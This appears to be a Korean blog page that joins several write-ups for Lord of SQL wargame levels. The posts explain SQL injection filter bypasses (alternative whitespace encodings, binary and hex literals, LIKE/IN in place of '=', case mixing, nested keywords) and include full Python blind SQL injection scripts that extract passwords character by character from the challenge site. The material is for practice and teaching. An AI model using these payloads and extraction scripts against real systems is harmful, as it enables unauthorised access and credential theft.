'(single quarter)가 필터링이 되어있어서 억지로 'admin'을 만들지도 못하고 이리저리 힘든 문제입니다.

하지만 like에 대한 내용만 잘 알고 있다면 쉽게 풀 수 있는 문제입니다.



LIKE를 사용할 때 보통 '=' 대신 써서 동일한 문자열을 비교하는 용도로 썼지만 그 밖에 '%'와 '_'를 이용한 방법도 있습니다.

'%'는 문자열을 나타내고, '_'는 문자 하나를 나타냅니다.


like 'a%' 는 'a'로 시작되는 모든 문자열을 뜻하고,

like '%a' 는 'a'로 끝나는 모든 문자열을 뜻합니다.

like '_bc' 는 뒤에 두 글자가 'bc'인 모든 문자열을 뜻합니다.


따라서 다음과 같이 '%'만 쓸 경우에는 모든 문자열을 나타내기 때문에 참이 됩니다.

"Hello guest"라고 뜨네요.



또한 '_' 문자열은 문자 하나를 뜻하기 때문에 하나씩 늘려가면서 해보면 pw의 길이를 알 수 있습니다.

8자리에서 "Hello guest"라고 나옵니다.


하지만 엄청나게 많은 '_'를 입력해도 'admin'이라는 문자는 나오지 않습니다.


그렇다면 'guest'와 'admin'의 pw의 길이가 같다고 생각 할 수 있습니다.



하나씩 하기에 무리가 있으니 python 코드를 이용해서 해봅니다.


다음 코드를 이용하면 'guest'의 pw를 알아낼 수 있습니다.

하지만 'admin'의 pw는 알아낼 수 없습니다.


'guest'의 pw의 맨 처음 글자가 '8'인데 '8'을 제외하고 해봐도 나오지 않는 것을 보면 

'admin'의 패스워드의 첫 시작도 '8'이라 짐작 할 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
url = 'https://los.eagle-jump.org/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php?'
 
index_list = range(48,58)+range(97,123)
password = ''
 
for i in range(1,9):
    for j in index_list:
        #query = "pw="+"_"*i
        query = "pw="+password+chr(j)+"%25"
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Hello guest")>0):
            password += chr(j)
            print("password : "+password)
            break
cs



그렇게 하나하나 하다 보면 다음처럼 일찍 해결할 수 도 있고, 정확한 pw를 구할 수도 있습니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] succubus  (0) 2018.10.08
[LOS] zombie_assassin  (0) 2018.10.08
[LOS] giant  (0) 2018.10.07
[LOS] bugbear  (0) 2018.10.06
[LOS] darkknight  (0) 2018.10.06

from 뒤에 테이블명이 오는데 띄어쓰기가 안되어 있어서 Query가 제대로 작동하지 않습니다.

하지만 필터링으로 공백, 개행, 커서 처음으로, 탭 4가지를 막아 놨습니다.



하지만 ascii 코드표를 참고해보시면 아시겠지만 공백으로 인식되는 다양한 것들이 있습니다.

%09, %0a, %0b, %0c, %0d, %20

다음 6가지들은 모두 공백을 뜻합니다. 4가지만 막아두었기 때문에 다른 2가지를 사용해 문제를 해결 할 수 있습니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] zombie_assassin  (0) 2018.10.08
[LOS] assassin  (0) 2018.10.08
[LOS] bugbear  (0) 2018.10.06
[LOS] darkknight  (0) 2018.10.06
[LOS] golem  (0) 2018.10.06

점점 필터링이 많아지네요..

이번에는 like, 공백, 0x 도 필터링이 되어있습니다.



우선 공백은 %0a로 대체할 수 있으며, like는 in으로 대체하면 됩니다.



이제 'admin'을 만들어야 하는데 전 문제에서는 Hex값으로 만들었지만 이번에는 필터링이 되어있습니다.

그렇다면 이번에는 0b2진수로 'admin'을 만들어 전송하면 됩니다.


2진수는 문자열 자체를 바꿀 수는 없기 때문에 한 글자 한 글자 바꿔주면 됩니다.

다행이 글자 수의 제한이 없기 때문에 가능한 작업입니다.


python으로 바꾸시려면 bin(ord('a')) 과 같이 ['a' → 10진수 → 2진수]로  변환하시면 됩니다.


문자를 하나씩 나눠 놨기 때문에 하나로 합치는 작업을 해야 합니다.

여기서 concat()이라는 내장 함수로 문자들을 합칠 수 있습니다.


아래와 같이 만들어서 전송하시면 "Hello admin"을 만나보실 수 있습니다.



복잡해 보이지만 다음과 같습니다.

  공백     → %0a

  or        → ||

  and      → &&

  =         → in()

  'admin'  → concat(0b1100001,0b1100100,0b1101101,0b1101001,0b1101110)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
 
url = 'https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?'
password = ''
length = 0
 
#pw 길이 구하기
for i in range(1,99):
    query = "no=1%0a||%0aid%0ain(concat(0b1100001,0b1100100,0b1101101,0b1101001,0b1101110))%0a%26%26%0alength(pw)%0ain("+str(i)+")"
    payload = url+query
    print (payload)
    res = requests.get(payload, cookies=cookies)
    if((res.text).find("Hello admin")>0):
        length = i
        print("length: "+str(length))
        break    
 
#pw 구하기
for i in range(1,length+1):
    for j in range(48,127):
        query = "no=1%0a||%0aid%0ain(concat(0b1100001,0b1100100,0b1101101,0b1101001,0b1101110))%0a%26%26%0aleft(pw,"+str(i)+')%0ain("'+password+chr(j)+'")'
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Hello admin")>0):
            password += chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs



나온 답은 소문자로 ~

'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] assassin  (0) 2018.10.08
[LOS] giant  (0) 2018.10.07
[LOS] darkknight  (0) 2018.10.06
[LOS] golem  (0) 2018.10.06
[LOS] skeleton  (0) 2018.10.06

pw 는 '(single quarter)만 필터링을 합니다.

no 는 '(single quarter), substr, ascii, = 를 필터링 합니다.


때문에 '(single quarter)도 우회하고 substr도 우회하는 것이 중요합니다.



우선 pw에는 많은 필터링이 걸리지 않았지만 '(single quarter)가 필터링 되어 다루기 애매하므로 '(single quarter)가 없는 no에서 수행합니다.

= 대신에 like를 이용해 참으로 만들어 보면 "Hello guest"가 나옵니다.



"admin"이 필요하므로 id like 'admin'을 해서 "admin"을 만들어야 하는데 '(single quarter)가 필터링 되어있으니 Hex값으로 변경 후 전송합니다.

admin의 Hex값은 0x61646d696e 입니다. (참고로 'admin'을 hex로 바꾸는 것이 아닙니다.)



위의 내용을 바탕으로 Python 코드를 작성해봅니다.

'substr'가 필터링 되어있기 때문에 앞선 문제처럼 substring()을 사용할 수는 없습니다.

대신 left() 함수를 이용해서 왼쪽부터 한 글자씩 차례대로 알아내면 됩니다.


여기서 '(single quarter)가 필터링 되어있고 left()함수로 나오는 값은 문자열이기에 결국 '(single quarter)가 필요합니다.

그래서 대신 "(double quarter)로 사용하면 대체할 수 있습니다.


python 코드에서 문자열을 묶을 때 "(double quarter)로 보통 사용하는데 이번 만큼은 '(single quarter)로 대신 묶어줍니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
 
url = 'https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?'
password = ''
length = 0

#pw 길이 구하기
for i in range(1,99):
    query = "no=1 or id like 0x61646d696e %26%26 length(pw) like "+str(i)
    payload = url+query
    print (payload)
    res = requests.get(payload, cookies=cookies)
    if((res.text).find("Hello admin")>0):
        length = i
        print("length: "+str(length))
        break    
 
#pw 구하기
for i in range(1,length+1):
    for j in range(48,127):
        query = "no=1 or id like 0x61646d696e %26%26 left(pw,"+str(i)+') like "'+password+chr(j)+'"'
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Hello admin")>0):
            password += chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs




'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] giant  (0) 2018.10.07
[LOS] bugbear  (0) 2018.10.06
[LOS] golem  (0) 2018.10.06
[LOS] skeleton  (0) 2018.10.06
[LOS] vampire  (0) 2018.10.06

이번에는 substr(= 가 필터링에 추가가 되었습니다.

형식을 보아하니 앞선 문제처럼 Blind SQL Injection을 해서 문제를 풀어야 할 것으로 보입니다.



우선 = 필터링을 우회하기 위해서 like를 사용할 수 있습니다.



필터링을 우회할 수 있으니 Python 코드를 통해서 공격 수행을 해봅니다.

id='admin' 대신에 id like 'admin'을 하여 우회를 시킬 수 있습니다.


길이를 구하고 substr()과 동일한 기능을 하는 substring()으로 문자열을 나눠서 찾아봅니다.

그 외에 left, mid, right를 이용할 수도 있습니다.


range(33,127)로하면 '%'에서 막히게 됩니다..

그래서 앞선 문제들의 답이 숫자와 영어로 이루어 져있다는 것을 알았으니 48로 시작하면 '0'부터 체크하게 됩니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
 
url = 'https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?'
password = ''
length = 0
 
#pw 길이 구하기
for i in range(1,99):
    query = "pw=' || id like 'admin' %26%26 length(pw) like "+str(i)+"%23"
    payload = url+query
    print (payload)
    res = requests.get(payload, cookies=cookies)
    if((res.text).find("Hello admin")>0):
        length = i
        print("length: "+str(length))
        break    
 
#pw 구하기
for i in range(1,length+1):
    for j in range(48,127):
        query = "pw=' || id like 'admin' %26%26 substring(pw,"+str(i)+",1) like '"+chr(j)+"'%23"
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Hello admin")>0):
            password += chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs



소문자로 입력하셔야 제대로 인증이 됩니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] bugbear  (0) 2018.10.06
[LOS] darkknight  (0) 2018.10.06
[LOS] skeleton  (0) 2018.10.06
[LOS] vampire  (0) 2018.10.06
[LOS] troll  (0) 2018.10.06

뒤에 and 1=0 때문에 무조건 거짓이 됩니다.

그렇다면 뒤 부분을 주석 처리하고 "admin" 이라는 글자를 만들어 주면 됩니다.



저는 union select를 이용해서 문제를 해결했습니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] darkknight  (0) 2018.10.06
[LOS] golem  (0) 2018.10.06
[LOS] vampire  (0) 2018.10.06
[LOS] troll  (0) 2018.10.06
[LOS] orge  (0) 2018.10.06

이번에는 str_replace() 함수로 "admin" 문자열을 ""으로 치환해주는 함수입니다.



그렇다면 간단하게 aadmindmin 과 같이 전송하면 가운데 "admin"만 사라지게 되고

'admin' 이 남아서 해결됩니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] golem  (0) 2018.10.06
[LOS] skeleton  (0) 2018.10.06
[LOS] troll  (0) 2018.10.06
[LOS] orge  (0) 2018.10.06
[LOS] darkelf  (0) 2018.10.05

id만 입력할 수 있고 "admin"이라는 문자를 입력할 수 있으면 성공하는 문제입니다.


single quarter도 막아두어 union select로 강제로 만들 수 없고, hex값을 이용할 수 도 없습니다.

또한 ereg()로 "admin" 문자열을 막아두어 바로 인증을 할 수 없습니다.



하지만 php는 대소문자를 구분하지 않기 때문에, ereg()는 대문자와 소문자를 적절히 섞어주면 필터링 되지 않습니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] skeleton  (0) 2018.10.06
[LOS] vampire  (0) 2018.10.06
[LOS] orge  (0) 2018.10.06
[LOS] darkelf  (0) 2018.10.05
[LOS] wolfman  (0) 2018.10.05

or, and 를 필터링하고 있으며 addslashed()로 '(Single Quarter)를 막고 있습니다.

하지만 Query가 2번 있고, 두번째 Query하기 전에만 Single Quarter를 막기 때문에 문제되지 않습니다.


해당 문제는 Blind Sql Injection으로  풀었는데, 두번째 Query의 결과로 참 거짓을 판별할 수 없기 때문입니다.



우선 or는 || 로 대신 사용할 수 있습니다.

참일 경우 다음과 같이 "Hello guest"라는 문장이 나오게 됩니다.


그렇다면 앞선 문제처럼 'admin'으로 성공하면 "Hello admin"이라고 나온다고 생각할 수 있습니다.



첫 Query에서 id='admin'을 하는 이유는 테이블에 다른 계정의 pw의 개수가 짧을 경우에 먼저 나오기 때문입니다.

(아래 주석으로 해도 guest pw는 15자리로 문제가 없긴 합니다.)


and는 &&로 바꾸면 되지만 URL에서 &는 [id=test&pw=test] 처럼 변수를 구분하는 용도로 쓰이기에 미리 인코딩한 값으로 해야 합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
 
url = 'https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?'
password = ''
length = 0
 
 
#pw 갯수 구하기
for i in range(1,99):
    query = "pw=' || id='admin' %26%26 length(pw)="+str(i)+"%23"
    #query = "pw=' || length(pw)="+str(i)+"%23"
    payload = url+query
    print (payload)
    res = requests.get(payload, cookies=cookies)
    if((res.text).find("Hello admin")>0):
        length = i
        print("length: "+str(length))
        break    
 
#pw 구하기
for i in range(1,length+1):
    for j in range(33,127):
        query = "pw=' || id='admin' %26%26 substr(pw,1,"+str(i)+")='"+password+chr(j)+"'%23"
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Hello admin")>0):
            password += chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs



'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] vampire  (0) 2018.10.06
[LOS] troll  (0) 2018.10.06
[LOS] darkelf  (0) 2018.10.05
[LOS] wolfman  (0) 2018.10.05
[LOS] orc  (0) 2018.10.05

이번 문제는 or, and 를 필터링 한 문제입니다.


근데 이전 문제들처럼 union을 사용하면 깔끔하게 해결이 됩니다.. ^___^



원래 의도는 다음과 같이 or 대신 ||, and 대신 &&를 사용하라는 의도였을 것이라 생각됩니다.



'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] troll  (0) 2018.10.06
[LOS] orge  (0) 2018.10.06
[LOS] wolfman  (0) 2018.10.05
[LOS] orc  (0) 2018.10.05
[LOS] goblin  (0) 2018.10.05

+ Recent posts